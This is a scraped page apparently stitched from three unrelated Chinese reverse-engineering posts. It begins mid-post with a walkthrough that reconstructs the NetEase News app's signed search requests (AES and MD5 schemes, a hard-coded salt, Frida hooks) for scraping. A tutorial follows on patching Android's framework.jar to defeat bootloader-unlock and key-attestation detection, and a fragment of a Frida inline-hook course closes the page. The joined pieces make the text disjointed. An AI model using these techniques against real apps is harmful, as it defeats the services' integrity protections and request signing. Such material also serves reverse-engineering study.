\'q\': \'NuS6uuWFseS6qzIwMjTmrKfmtLLmna/ph5HpnbQ=\',
\'deviceId\': \'bvYT4UzsuBXNhfobtucjoWbhxxvqginXtZw7lCuhHuFXCnf2uGrW417TW/mVXqy1IIGNeE0nI41SFrBIaL1THA==\',
\'version\': \'newsclient.110.1.android\',
\'channel\': \'c2VhcmNo\',
\'canal\': \'UVFfbmV3c195dW55aW5nNA==\',
\'dtype\': \'0\',
\'tabname\': \'zonghe\',
\'position\': \'5pCc57Si5qGG6aKE572u6K+N\',
\'ts\': \'1721110863\',
\'sign\': \'W7Xphf+pqyOGN9JoXUHnuo0ikgGVNQynXl0Z9SFrPG148ErR02zJ6/KXOnxX046I\',
\'spever\': \'FALSE\',
多次抓包对比确定需要逆向的参数,这边参数实在太多了,将 app 拖入 jadx 等待反编译完成后逐个进行分析。
\\n固定:\'gw.m.163.com\',
\\n整数型 13 位时间戳:int(time.time() * 1000),
\\n整数型 13 位时间戳:int(time.time() * 1000),
\\n固定:\'no-cache\',
\\n给了就好:\'NewsApp/110.1 Android/8.1.0 (google/Pixel 2 XL)\',
\\nx-nr-trace-id: 1721110863720_199869332_ODUwNjE0ZjAyOGJhZTNiYV9fZ29vZ2xlX1BpeGVsIDIgWEw%3D
初步猜测:
整数型 13 位时间戳 + \\"\\" + \\"???\\" + \\"\\" + ODUwNjE0ZjAyOGJhZTNiYV9fZ29vZ2xlX1BpeGVsIDIgWEw%3D
在 Jadx 中查找,看看具体是如何生成的:
总计找到 37 处,着重查看 request 发包相关的:
定位到:GalaxyResponse a() 函数,代码有做删减,看到 X-NR-Trace-Id 是通过 this.f12927b 来的:
1 2 3 4 5 | @Override / / com.netease.galaxy.net.IRequest public GalaxyResponse a() throws Throwable { OkHttpClient a2; method.header( \\"X-NR-Trace-Id\\" , this.f12927b); } |
跟进 c(String str) 函数中:
\\n1 2 3 | private String c(String str ) { return System.currentTimeMillis() + \\"_\\" + str + \\"_\\" + Galaxy.O(Galaxy.N()); } |
从 c(String str) 函数中可以看出,和我们的初步猜测是一样的,str 为 String.valueOf(hashCode()) 也就是当前对象的哈希码(HashCode)的字符串形式,使用 frida 进行 hook:
\\n1 2 3 4 5 6 7 8 9 | Java.perform(function () { var GalaxyRequest = Java.use( \\"com.netease.galaxy.net.GalaxyRequest\\" ); GalaxyRequest[ \\"c\\" ].implementation = function ( str ) { console.log( \'c is called\' + \', \' + \'str: \' + str ); var ret = this.c( str ); console.log( \'c ret value is \' + ret); return ret; }; }) |
据返回值可以发现:ODUwNjE0ZjAyOGJhZTNiYV9fZ29vZ2xlX1BpeGVsIDIgWEw%3D,字符一直是固定的,那么总结可得:
整数型 13 位时间戳 + \\"\\" + \\"hashCode()\\" + \\"\\" + ODUwNjE0ZjAyOGJhZTNiYV9fZ29vZ2xlX1BpeGVsIDIgWEw%3D
固定值:\'0\',
\\n固定值:\'gw.m.163.com\',
\\n在 Jadx 中查找 user-c,查看其具体是如何生成的,仅定位到两处,一眼出:
定位到:Request F1() 函数,代码有做删减,看到 User-C 是通过 URLEncoder.encode(StringUtil.e(o2, \\"UTF-8\\") 来的,User-U、User-D、User-N 三个参数都是通过Encrypt.getEncryptedParams(i2) 来的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | public static Request F1(String str , String str2) { ArrayList arrayList = new ArrayList(); String d2 = Common.g().a().getData().d(); if (!TextUtils.isEmpty(d2)) { arrayList.add(new Header( \\"User-U\\" , Encrypt.getEncryptedParams(d2))); } String s2 = SystemUtilsWithCache.s(); if (!TextUtils.isEmpty(s2)) { arrayList.add(new Header( \\"User-D\\" , Encrypt.getEncryptedParams(s2))); } String i2 = NetUtil.i(); if (!TextUtils.isEmpty(i2)) { try { arrayList.add(new Header( \\"User-N\\" , Encrypt.getEncryptedParams(i2))); } catch (Exception unused) { } } String o2 = CommonGalaxy.o(); if (!TextUtils.isEmpty(o2)) { try { arrayList.add(new Header( \\"User-C\\" , URLEncoder.encode(StringUtil.e(o2, \\"UTF-8\\" ), \\"UTF-8\\" ))); } catch (UnsupportedEncodingException unused2) { } } return BaseRequestGenerator.a(String. format (NGRequestUrls.PicSet.f23298a, str , str2), arrayList); } |
先分析 User-C 对 StringUtil.e(o2, \\"UTF-8\\") 返回的字符串进行 URL 编码,使用 UTF-8 字符集,写个 hook 代码,查看其编码的对象:
\\n1 2 3 4 5 6 7 8 9 | Java.perform(function () { var StringUtil = Java.use( \\"com.netease.newsreader.support.utils.string.StringUtil\\" ); StringUtil[ \\"e\\" ].implementation = function ( str , str2) { console.log( \'e is called\' + \', \' + \'str: \' + str + \', \' + \'str2: \' + str2); var ret = this.e( str , str2); console.log( \'e ret value is \' + ret); return ret; }; }) |
反复进行抓包,其有两个值反复横跳:
\\n\\nuser-c: 5pCc57S
\\n
user-c: 5aS05p2h
对其进行 base64 解码:
\\n\\n\\n5pCc57S -> 搜索
\\n
5aS05p2h -> 头条
继续分析User-U、User-D、User-N ...... 等参数,跟进 getEncryptedParams() 方法:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | public static String getEncryptedParams(String str , int i2) { if (TextUtils.isEmpty( str )) { return str ; } synchronized (sEncryptCache) { Map <String, String> map = sEncryptCache.get(i2); if ( map ! = null && !TextUtils.isEmpty( map .get( str ))) { return map .get( str ); } String encryptedParamsInner = getEncryptedParamsInner( str , i2); if ( map = = null) { map = new HashMap<>( 2 ); sEncryptCache.put(i2, map ); } map .put( str , encryptedParamsInner); return encryptedParamsInner; } } |
调用 getEncryptedParamsInner(str, i2) 方法,跟进查看:
\\n1 2 3 | private static String getEncryptedParamsInner(String str , int i2) { return getBase64Str(callEncrypt(Core.context(), str , i2)); } |
调用 callEncrypt 方法,跟进查看:
\\n1 2 3 4 5 6 7 8 9 10 11 | private static byte[] callEncrypt(Context context, String str , int i2) { try { return encrypt(context, str , i2); } catch (Error e2) { e2.printStackTrace(); return null; } catch (Exception e3) { e3.printStackTrace(); return null; } } |
调用 encrypt 方法,跟进查看:
\\n1 | private static native synchronized byte[] encrypt(Context context, String str , int i2); |
到 so 层了,定位其对应的 so 文件:
\\n1 2 3 4 5 6 | static { try { System.loadLibrary( \\"random\\" ); } catch (Error unused) { } } |
需到 librandom.so 文件中,查看 Java_com_netease_nr_biz_pc_sync_Encrypt_encrypt 方法的实现,在分析之前先 hook 确认下查找的点没错:
\\n1 2 3 4 5 6 7 8 9 10 11 | Java.perform(function () { var ByteString = Java.use( \\"com.android.okhttp.okio.ByteString\\" ); var Encrypt = Java.use( \\"com.netease.nr.biz.pc.sync.Encrypt\\" ); Encrypt[ \\"encrypt\\" ].implementation = function (context, str , i2) { console.log( \'encrypt is called\' + \', \' + \'context: \' + context + \', \' + \'str: \' + str + \', \' + \'i2: \' + i2); var ret = this.encrypt(context, str , i2); console.log( \'encrypt ret value is \' + ret); console.log( \\"\\\\n\\\\ncallEncrypt ret str_hex: \\" + ByteString.of(ret). hex ()); return ret; }; }) |
确认无误,跟进 so 中进行分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | __int64 __fastcall Java_com_netease_nr_biz_pc_sync_Encrypt_encrypt( __int64 a1, __int64 a2, __int64 a3, __int64 a4, unsigned int a5) { __int64 v9; / / x1 __int64 RandomKey; / / x4 RandomKey = getRandomKey(a1, a2, a3, a5); if ( a5 = = 3 ) return enUnderpants(a1, v9, a3, a4, RandomKey); else return doEn(); } |
分析其走,doEn() 方法,跟进查看:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | __int64 __fastcall doEn(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5) { v8 = ( * ( * a1 + 48LL ))(a1, \\"java/lang/String\\" , a3); v9 = ( * ( * a1 + 1336LL ))(a1, \\"utf-8\\" ); v10 = ( * ( * a1 + 264LL ))(a1, v8, \\"getBytes\\" , \\"(Ljava/lang/String;)[B\\" ); v11 = ( * ( * a1 + 272LL ))(a1, a5, v10, v9); v12 = ( * ( * a1 + 272LL ))(a1, a4, v10, v9); v13 = malloc( 0x15uLL ); strcpy(v13, \\"AES/ECB/PKCS7Padding\\" ); v14 = v13; v15 = ( * ( * a1 + 1336LL ))(a1, \\"D@V\\" ); free(v14); v16 = ( * ( * a1 + 48LL ))(a1, \\"javax/crypto/spec/SecretKeySpec\\" ); v17 = ( * ( * a1 + 264LL ))(a1, v16, \\"<init>\\" , \\"([BLjava/lang/String;)V\\" ); v18 = ( * ( * a1 + 224LL ))(a1, v16, v17, v11, v15); v19 = malloc( 0x15uLL ); strcpy(v19, \\"AES/ECB/PKCS7Padding\\" ); v20 = ( * ( * a1 + 1336LL ))(a1, v19); free(v19); v21 = malloc( 3uLL ); strcpy(v21, \\"BC\\" ); v22 = v21; v23 = ( * ( * a1 + 1336LL ))(a1, v21); free(v22); v24 = ( * ( * a1 + 48LL ))(a1, \\"javax/crypto/Cipher\\" ); v25 = ( * ( * a1 + 904LL ))(a1, v24, \\"getInstance\\" , \\"(Ljava/lang/String;Ljava/lang/String;)Ljavax/crypto/Cipher;\\" ); v26 = ( * ( * a1 + 912LL ))(a1, v24, v25, v20, v23); v27 = ( * ( * a1 + 264LL ))(a1, v24, \\"init\\" , \\"(ILjava/security/Key;)V\\" ); ( * ( * a1 + 488LL ))(a1, v26, v27, 1LL , v18); v28 = ( * ( * a1 + 264LL ))(a1, v24, \\"doFinal\\" , \\"([B)[B\\" ); return ( * ( * a1 + 272LL ))(a1, v26, v28, v12); } |
可确定使用:AES/ECB/PKCS7Padding 进行加密,使用自吐脚本进行 hook:
则可得,整个加密流程为:str -> AES/ECB/PKCS7Padding -> base64,如:
\\n\\nuser-d: bvYT4UzsuBXNhfobtucjoWbhxxvqginXtZw7lCuhHuFXCnf2uGrW417TW/mVXqy1IIGNeE0nI41SFrBIaL1THA==
\\n
对照抓包及hook到的参数,可以确定 user-d、user-n、user-rc、user-vd、user-appid、user-lc、user-id 参数的生成都是如此,其原始值大多为某一个值经过 base64 编码后在经过 url 编码得到的:
\\n\\nuser-n:unknown
\\n
user-lc:110000
user-appid:2x1kfBk63z
user-rc:{\\"ad\\":true,\\"adCrossPlatform\\":true}
user-d:ODUwNjE0ZjAyOGJhZTNiYV9fZ29vZ2xlX1BpeGVsIDIgWEw%3D
user-vd:MTcyMTA5NzUxNjc2Ml83OTk1NzcwOV9NQ1hDUk1jTA%3D%3D
user-id:3E9B7EF20462938EBAEBED8BF0E5338B12A5A5F17B58B98104C823E4F8F2452656EF1BC4BCA66104804E0889C39A2A4B
在 Jadx 中查找,仅有一处进行了定义
进入查看其引用也仅有一处:
进入查看 G() 方法:
1 2 3 | public String G() { return ((IGalaxyApi) SDK.a(IGalaxyApi. class )).getSessionId(); } |
获取一个实现了 IGalaxyApi 接口的对象,并调用其 getSessionId() 方法来获取当前会话的 ID,然后将该 ID 作为字符串返回。对其进行 hook:
查看其抓包得到的值:
\\n\\nuser-sid:OnXVDmIU6Mqla688+2Zr+psF7OETLwuUZSrrZY5mdmM=
\\n
类似于之前分析的 user 系列参数得到的值,复制 eddhaa1721202144359 字符串进行加密验证,无误:
分析其值的构成应为:字符 + 时间戳。
反复抓包得出结论其时间戳为本次app启动时的时间戳,在启动后时间戳不变。
而在字符串前的六位字符,并未发现其生成点,猜测为随机生成的值,实际在爬取过程中随意给定加上对应时间戳遍可。
整数型 13 位时间戳:int(time.time() * 1000),
\\n固定:\'gw.m.163.com\',
\\n在 Jadx 中查找,仅有一处进行了定义:
\\n1 | public static final String f29790p = \\"X-NR-SIGN\\" ; |
进入查看其引用,定位到 com.netease.newsreader.common.net.interceptor:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 | public Response intercept(@NotNull Interceptor.Chain chain) { Intrinsics.p(chain, \\"chain\\" ); Request request = chain.request(); if (b(request)) { String query = request.url().query(); if (!TextUtils.isEmpty(query)) { Request.Builder newBuilder = request.newBuilder(); long currentTimeMillis = System.currentTimeMillis(); request = newBuilder.header(HttpUtils.f29791q, String.valueOf(currentTimeMillis)).header(HttpUtils.f29790p, a(query, currentTimeMillis)).build(); } } return chain.proceed(request); } |
分析其生成在 a() 方法中:
\\n1 2 3 4 5 6 7 8 | private final String a(String str , long j2) { if (TextUtils.isEmpty( str )) { return \\"\\"; } String n2 = StringUtils.n((( Object ) str ) + HttpUtils.f29793s + j2); Intrinsics.o(n2, \\"md5(\\\\\\"$queryString${HttpUtils.SING_SALT}$ts\\\\\\")\\" ); return n2; } |
重点就是这句代码
\\n\\n\\nString n2 = StringUtils.n(((Object) str) + HttpUtils.f29793s + j2);
\\n
将 str、HttpUtils.f29793s 和 j2 进行字符串拼接。其中,HttpUtils.f29793s 为静态变量其值为:f29793s = \\"gNlVGcSKf5\\"。然后使用 StringUtils.n() 方法对拼接后的字符串进行处理,StringUtils.n() 方法,用于计算字符串的 MD5 哈希值。
\\n1 2 3 4 5 6 7 8 9 10 | public static String n(String str ) { if (TextUtils.isEmpty( str )) { return str ; } try { return a(MessageDigest.getInstance( \\"MD5\\" ).digest(g( str , Charset.forName( \\"UTF-8\\" ))), false); } catch (NoSuchAlgorithmException e2) { throw new AssertionError(e2); } } |
对 StringUtils.n() 方法其进行 hook:
\\n1 2 3 4 5 6 7 8 9 | Java.perform(function () { var StringUtils = Java.use( \\"com.netease.newsreader.framework.util.string.StringUtils\\" ); StringUtils[ \\"n\\" ].implementation = function ( str ) { console.log( \'n is called\' + \', \' + \'str: \' + str ); var ret = this.n( str ); console.log( \'n ret value is \' + ret); return ret; }; }) |
对比发现无误,继续分析字段内容,通过在 Jadx 中搜索关键词,定位到 Request M1 函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | public static Request M1(String str , String str2, String str3, String str4, String str5, String str6) { String s2 = SystemUtilsWithCache.s(); String g2 = SearchModel.g(BaseApplication.h()); String b2 = CurrentColumnInfo.b(); long currentTimeMillis = System.currentTimeMillis() / 1000 ; String str7 = s2 + String.valueOf(currentTimeMillis); String c2 = OpenInfo.c(); String b3 = OpenInfo.b(); if (!TextUtils.isEmpty(str7)) { str7 = StringUtil.c(Encrypt.getEncryptedParams(StringUtils.n(str7))); } ArrayList arrayList = new ArrayList(); arrayList.add(new FormPair( \\"start\\" , StringUtil.h( str ))); arrayList.add(new FormPair( \\"limit\\" , String.valueOf( 20 ))); arrayList.add(new FormPair( \\"q\\" , StringUtil.h(str2))); arrayList.add(new FormPair( \\"deviceId\\" , StringUtil.c(Encrypt.getEncryptedParams(s2)))); arrayList.add(new FormPair( \\"version\\" , g2)); arrayList.add(new FormPair( \\"channel\\" , StringUtil.h(b2))); arrayList.add(new FormPair( \\"canal\\" , StringUtil.h(SystemUtilsWithCache.n()))); arrayList.add(new FormPair( \\"dtype\\" , str5)); arrayList.add(new FormPair( \\"tabname\\" , str6)); if (!TextUtils.isEmpty(str4)) { arrayList.add(new FormPair( \\"qId\\" , StringUtil.h(str4))); } if (!TextUtils.isEmpty(str3)) { arrayList.add(new FormPair( \\"position\\" , StringUtil.h(str3))); } arrayList.add(new FormPair( \\"ts\\" , String.valueOf(currentTimeMillis))); arrayList.add(new FormPair( \\"sign\\" , str7)); arrayList.add(new FormPair( \\"spever\\" , \\"FALSE\\" )); if (!TextUtils.isEmpty(c2)) { arrayList.add(new FormPair( \\"open\\" , c2)); } if (!TextUtils.isEmpty(b3)) { arrayList.add(new FormPair( \\"openpath\\" , b3)); } return BaseRequestGenerator.b(NGRequestUrls.Search.f23357c, arrayList); } |
可以看到相关参数几乎都是在这生成的,具体针对抓到报的内容进行分析:
\\n\\n\\nstart=Kg==&固定
\\n
limit=20&固定
q=5a6d6ams5Lit5Zu95YWo57O75rao5Lu3&搜索词的 base64 编码
deviceId=bvYT4UzsuBXNhfobtucjoWbhxxvqginXtZw7lCuhHuFXCnf2uGrW417TW/mVXqy1IIGNeE0nI41SFrBIaL1THA==&固定
version=newsclient.110.1.android&固定
channel=c2VhcmNo&固定 base64 编码 原值:search
canal=UVFfbmV3c195dW55aW5nNA==&固定 base64 编码 原值:QQ_news_yunying4
dtype=0&固定
tabname=zonghe& 固定
qId=Nzg3NjM1NDU1NTE2MDU5NA==&未知
position=6L6T5YWl& 固定 base64 编码 原值:输入
ts=1721207040& 时间戳
sign=+gfuFTKMwWg3lozy1k7VVRaRMDojncFD1rm9fQqD+cJ48ErR02zJ6/KXOnxX046I&未知
spever=FALSE 固定
gNlVGcSKf5固定
1721207040973 时间戳
可得在此处需要进一步分析的内容有两处:qId、sign,又经反复不同姿势的方式抓包发现 qid 参数可要可不要,在首次搜索并无该参数:
重复在搜索栏搜索时 qid 参数出现:
根据代码分析,sign 值的来源为 str7,str7 的赋值代码就在 Request M1 函数中,如下所示,代码有删减:
\\n1 2 3 4 | if (!TextUtils.isEmpty(str7)) { str7 = StringUtil.c(Encrypt.getEncryptedParams(StringUtils.n(str7))); } arrayList.add(new FormPair( \\"sign\\" , str7)); |
StringUtils.n(str7): StringUtils.n 方法对传入的字符串 str7进行 MD5操作。
\\n1 2 3 4 5 6 7 8 9 10 | public static String n(String str ) { if (TextUtils.isEmpty( str )) { return str ; } try { return a(MessageDigest.getInstance( \\"MD5\\" ).digest(g( str , Charset.forName( \\"UTF-8\\" ))), false); } catch (NoSuchAlgorithmException e2) { throw new AssertionError(e2); } } |
Encrypt.getEncryptedParams(...): Encrypt.getEncryptedParams 方法,在上面有进行分析,对传入的参数使用 AES/ECB/PKCS7Padding 进行加密。
StringUtil.c(...): StringUtil.c 方法,输入进行 URLEncoder 形式的处理,然后返回结果。
1 2 3 4 5 6 7 8 9 10 | public static String c(String str ) { if (TextUtils.isEmpty( str )) { return \\"\\"; } try { return URLEncoder.encode( str , \\"UTF-8\\" ); } catch (Exception unused) { return \\"\\"; } } |
分别对 StringUtils.n、StringUtil.c 方法进行 hook:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | Java.perform(function (){ var StringUtils = Java.use( \\"com.netease.newsreader.framework.util.string.StringUtils\\" ); StringUtils[ \\"n\\" ].implementation = function ( str ) { console.log( \'n is called\' + \', \' + \'str: \' + str ); var ret = this.n( str ); console.log( \'n ret value is \' + ret); return ret; }; var StringUtil = Java.use( \\"com.netease.newsreader.support.utils.string.StringUtil\\" ); StringUtil[ \\"c\\" ].implementation = function ( str ) { console.log( \'c is called\' + \', \' + \'str: \' + str ); var ret = this.c( str ); console.log( \'c ret value is \' + ret); return ret; }; }) |
所有参数分析完毕。
上述将所有相关的参数都分析完毕,接下来就是针对会变动的参数进行还原生成后组包进行请求,怎么写代码这种事情相信各位佬随手拈来,我就不在讲解了,直接上图:
至此,已成艺术。
该项目源自Github外国大佬
项目链接:
GitHub - chiteroman/FrameworkPatch: Modify framework.jar to build on system level a valid certificate chain
在此声明,本教程也依托于Github项目上的教程和其他人发的教程,但后者这篇教程好像被原作者删除了。我也找不到了,无法提供相关信息,若原作者看到,请联系我补充。
PS:
原项目自带教程,但是只有英文版教程,并且教程详尽程度对我这样的小白不是很友好
所以写了这篇小白向的教程
大佬or有安卓开发经验的师傅可以直接看Github原项目
对于已解锁BL的手机,这个项目通过对手机根目录下/system/framework/framework.jar
这个文件进行修改来过掉BL锁状态检测
如果仅利用项目自带的keybox,可以过掉非硬件检测or密钥检测的BL锁状态验证,对付大部分软件,是没有问题的,而且目前有BL锁检测的软件其实很少。
如果你有谷歌下发的keybox,那么利用该项目,你可以近乎完美的过掉BL锁状态检测。
注意,对TEE损坏
的手机没有效果!!!例如OPPO/一加等品牌手机,解锁BL就会使TEE假死。
本教程只有前者,就是教如何使用该项目。
我也不知道如何向谷歌申请下发keybox(我还是一个无安卓开发经验的小白)
Kitsune Magisk
的Su List
有冲突Shamiko
模块有冲突目前,有些安卓游戏是存在检测BL状态的
以此为依据在设备上使用不同严格程度的检测方案
之后,或许会有更多的软件对BL锁状态进行检测
故,还是有一些研究价值
所需设备和工具:
\\nFramework Patch
Github链接及 Framework Patcher Go
GitHub链接framework-modify
部分所需工具:
百度网盘
有FrameworkPatcherGO,模块模板,密钥认证APP
其他工具请自行准备
该教程内容不需要电脑就可以实现
Magisk模块模板我会提供附件(非本人制作)
该项目有风险,请做好救砖的准备!!!
该项目有风险,请做好救砖的准备!!!
该项目有风险,请做好救砖的准备!!!
dex
Framework Patcher Go
模块自动修改framework.jar
中的dex
(部分手机到此就已结束)framework.jar
中的dex
(部分手机的framework.jar无法使用FrameworkPatcherGo
模块自动修改并安装)并制作模块
第一张图为安装前,第二张图为安装后(使用项目自带证书,故会显示来自AOSP的根证书,非完美隐藏)
使用Termux执行
\\n1 2 3 4 | sed -i \'s@^\\\\(deb.*stable main\\\\)$@#\\\\1\\\\ndeb https://mirrors.tuna.tsinghua.edu.cn/termux/termux-packages-24 stable main@\' $PREFIX /etc/apt/sources .list sed -i \'s@^\\\\(deb.*games stable\\\\)$@#\\\\1\\\\ndeb https://mirrors.tuna.tsinghua.edu.cn/termux/game-packages-24 games stable@\' $PREFIX /etc/apt/sources .list.d /game .list sed -i \'s@^\\\\(deb.*science stable\\\\)$@#\\\\1\\\\ndeb https://mirrors.tuna.tsinghua.edu.cn/termux/science-packages-24 science stable@\' $PREFIX /etc/apt/sources .list.d /science .list pkg update |
大量参考该文章CSDN链接(嘿,就是Copy)
如果之后想在手机上利用Termux编译APK项目的,推荐观看下
1 2 3 4 5 6 | #安装git pkg install git -y #安装openssh pkg install openssh -y #安装Java—sdk—17 pkg install openjdk-17 -y |
请科学上网
\\n1 2 3 4 5 6 7 8 9 | curl -O https: //googledownloads .cn /android/repository/commandlinetools-linux-11076708_latest .zip ANDROID_HOME=~ /android/sdk mkdir -p $ANDROID_HOME /latest unzip ` ls | grep \\"commandlinetools-linux.*_latest.zip\\" ` -d $ANDROID_HOME # cmdline-tools 的产物需要移动到cmdline-tools/latest目录中,这是android sdk固定的路径组织形式 # 压缩包没有包含在latest文件夹中,自己移动一下 mv $ANDROID_HOME /cmdline-tools/ * $ANDROID_HOME /latest mv $ANDROID_HOME /latest $ANDROID_HOME /cmdline-tools |
MT管理器打开/data/user/0/com.termux/files/home/
创建文件,名字是.bashrc
填入以下内容
1 2 3 4 5 6 7 8 9 10 11 12 | echo \\"用户:\\" $( whoami ) if pgrep -x \\"sshd\\" > /dev/null then echo #echo \\"sshd运行中...\\" else sshd echo \\"自动启动sshd\\" fi export ANDROID_HOME=~ /android/sdk export PATH=$ANDROID_HOME /cmdline-tools/latest/bin :$PATH |
Termux执行如下命令
\\n1 2 | cd ~ source .bashrc |
然后彻底关闭Termux,重新打开。
继续
由于我们只需要编译,故执行第三条命令即可
1 2 3 4 5 6 | #查看sdk列表 #sdkmanager --list #安装安卓14平台开发工具 #sdkmanager --install \\"platforms;android-34\\" #安装支持安卓14的构建工具 sdkmanager -- install \\"build-tools;34.0.0\\" |
接下来,我们下载arm版本的sdk工具(google编译的安卓sdk没有arm版本 )
\\n1 2 3 4 5 6 7 8 9 10 11 | cd ~ curl -LJO https: //github .com /lzhiyong/android-sdk-tools/releases/download/34 .0.3 /android-sdk-tools-static-aarch64 .zip #根据构架选择,一般用上面那个就行了,如果更改了,需要把解压命令也更改下 #curl -LJO https://github.com/lzhiyong/android-sdk-tools/releases/download/34.0.3/android-sdk-tools-static-arm.zip unzip android-sdk-tools-static-aarch64.zip -d . /armtools # 下载的是34版本的,所以,覆盖到34版本的目录 mkdir -p ~ /android/sdk/platform-tools cp -p . /armtools/build-tools/ * ~ /android/sdk/build-tools/34 .0.0 cp -p . /armtools/platform-tools/ * ~ /android/sdk/platform-tools |
git项目
注意科学上网
1 2 | cd ~ git clone https: //github .com /chiteroman/FrameworkPatch .git |
这里需要科学上网
并且,执行所需时间较长,耐心等待
最后,这里执行完了,还不算完
会有报错,请勿担心
1 2 3 4 | cd . /FrameworkPatch echo \\"sdk.dir=$ANDROID_HOME\\" > local .properties chmod +x . /gradlew . /gradlew build |
执行后,你会看到如下报错
不急,执行以下命令替换aapt2
1 2 3 4 | TARGET= \\"/data/user/0/com.termux/files/home/.gradle/caches/transforms-4\\" find \\"$TARGET\\" - type f -name \\"aapt2\\" | while read -r aapt2_file; do cp -f ~ /android/sdk/build-tools/34 .0.0 /aapt2 \\"$aapt2_file\\" done |
接下里继续编译
\\n1 2 | . /gradlew assembleRelease cp -f app /build/intermediates/dex/release/minifyReleaseWithR8/classes .dex ~ |
我们打开/data/user/0/com.termux/files/home/
就可以看到有一个dex文件,留着备用
Framework Patcher Go
模块自动修改从Framework Patcher Go
GitHub链接上下载模块
MT管理器打开zip
将classes.dex
添加到zip中的/META-INF/com/google/android/magisk/dex/
文件夹下
然后Magisk刷入模块
它会自动修改系统自带的framework.jar
中的dex
然后以面具模块的形式替换系统原来的framework.jar
PS:过程中需要按音量上下键的
注意,注意,注意
前面都是按音量上键
但到了最后
你看到
1 2 | This step is not required unless your device crashes after installing this module. Do you want to apply this step? |
这两行英语后,请按音量下键
等待刷完
请提前做好救砖准备
如TWRP,音量键救砖模块等等
如果最后按音量下键后
是会卡开机页面的
则救砖
然后继续刷入模块
但在最后选择按音量上键
如果正常开机
那么到这里就结束了
但如果还是无法开机
那就只能手动修改framework.jar
中的dex
请看接下来的教程
framework.jar
文件路径:/system/framework/framework.jar
复制文件到某个路径下
不要直接修改系统路径下的jar
MT管理器打开jar查看
——Dex编辑器++
——全选
接下来
engineGetCertificateChain
在方法的末尾附近应该有如下几行代码:
\\n1 2 3 | const / 4 v4, 0x0 aput - object v2, v3, v4 return - object v3 |
类似结构,但寄存器的值可能是不一样的
如图
我们在return-object XX
前加入
1 2 | invoke - static {XX}, Lcom / android / internal / util / framework / Android; - >engineGetCertificateChain([Ljava / security / cert / Certificate;)[Ljava / security / cert / Certificate; move - result - object XX |
将 XX
替换为对应的值
如图
保存返回
newApplication
可以看到有两个结果
我们先点开第一个
如图
存在类似代码
1 | .param XX, \\"context\\" #Landroid/content/Context; |
在方法末尾return
之前添加以下代码:
1 | invoke - static {XX}, Lcom / android / internal / util / framework / Android; - >newApplication(Landroid / content / Context;)V |
将 XX
替换为寄存器。
如图
保存,看第二个搜索结果
如图
看到和刚刚不同
有p1,p2,p3
我们还是和第一个一样
选择绿色高亮文本为context
的那一行对应的寄存器
在方法末尾return
之前添加以下代码:
1 | invoke - static {XX}, Lcom / android / internal / util / framework / Android; - >newApplication(Landroid / content / Context;)V |
将 XX
替换为寄存器
如图
保存返回
hasSystemFeature
结果有很多
我们只看ApplicationPackageManager
类下的第一个
如图
在方法末尾return
之前添加以下代码:
1 2 | invoke - static {v0, p1}, Lcom / android / internal / util / framework / Android; - >hasSystemFeature(ZLjava / lang / String;)Z move - result v0 |
如寄存器有不同,请自行更改,和之前一样就行
如图
保存返回
保存并退出
在压缩文件中更新
找到我们之前编译的dex
如图
根据framework.jar
中dex的数量n
个
重命名编译好的dex为classes[n+1].dex
然后添加到jar
内
如图
保存返回
找到Magisk模块模板Frist-framework-modify
注意最开始,选择带Frist
的
将修改后的framework.jar
添加到压缩包/system/framework/
下
然后利用面具刷入,重启
能开机,结束
不能开机
选择不带Frist
的framework-modify
模板
将修改后的framework.jar
添加到压缩包/system/framework/
下
然后利用面具刷入,重启
\\n\\n带Frist和不带的区别:
\\n
其实就和Framework Patch Go模块一样
带Frist的模块和Go模块最后按音量下键的不会执行下列代码
而不带Frist和Go模块最后按音量上键的会执行
1 2 3 4 5 6 7 8 9 10 11 | if [ \\"$BOOTMODE\\" ] && { [ \\"$KSU\\" ] || [ \\"$APATCH\\" ]; }; then find \\"/system/framework\\" - type f - name \'boot-framework.*\' - print0 | while IFS = read - r - d \'\' line; do mkdir - p \\"$(dirname \\" $MODPATH$line \\")\\" && mknod \\"$MODPATH$line\\" c 0 0 done elif [ \\"$BOOTMODE\\" ] && [ \\"$MAGISK_VER_CODE\\" ]; then find \\"/system/framework\\" - type f - name \'boot-framework.*\' - print0 | while IFS = read - r - d \'\' line; do mkdir - p \\"$(dirname \\" $MODPATH$line \\")\\" && touch \\"$MODPATH$line\\" done fi |
如果刷入后还是无法正常开机
只能先救砖
再向项目作者提交issue了
本篇文章基本上是对原项目作者的教程进行翻译,简单化,和补充
希望未来可以写出更高质量的文章
在看雪的第一篇文章Over
未来待续
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
\\n\\n1.了解Frida-Native-Hook读写、主动调用
2.了解常见的frida_trace工具
3.了解控制流混淆对抗新思路
1.教程Demo(更新)
2.jadx-gui
3.VS Code
4.jeb
1 2 3 4 5 6 7 8 | //一般写在app的私有目录里,不然会报错:failed to open file (Permission denied)(实际上就是权限不足) var file_path = \\"/data/user/0/com.zj.wuaipojie/test.txt\\" ; var file_handle = new File(file_path, \\"wb\\" ); if (file_handle && file_handle != null ) { file_handle.write(data); //写入数据 file_handle.flush(); //刷新 file_handle.close(); //关闭 } |
什么是inlinehook?
Inline hook(内联钩子)是一种在程序运行时修改函数执行流程的技术。它通过修改函数的原始代码,将目标函数的执行路径重定向到自定义的代码段,从而实现对目标函数的拦截和修改。
简单来说就是可以对任意地址的指令进行hook读写操作
常见inlinehook框架:
Android-Inline-Hook
whale
Dobby
substrate
PS:Frida的inlinehook不是太稳定,崩溃是基操,另外新版的frida兼容性会比较好
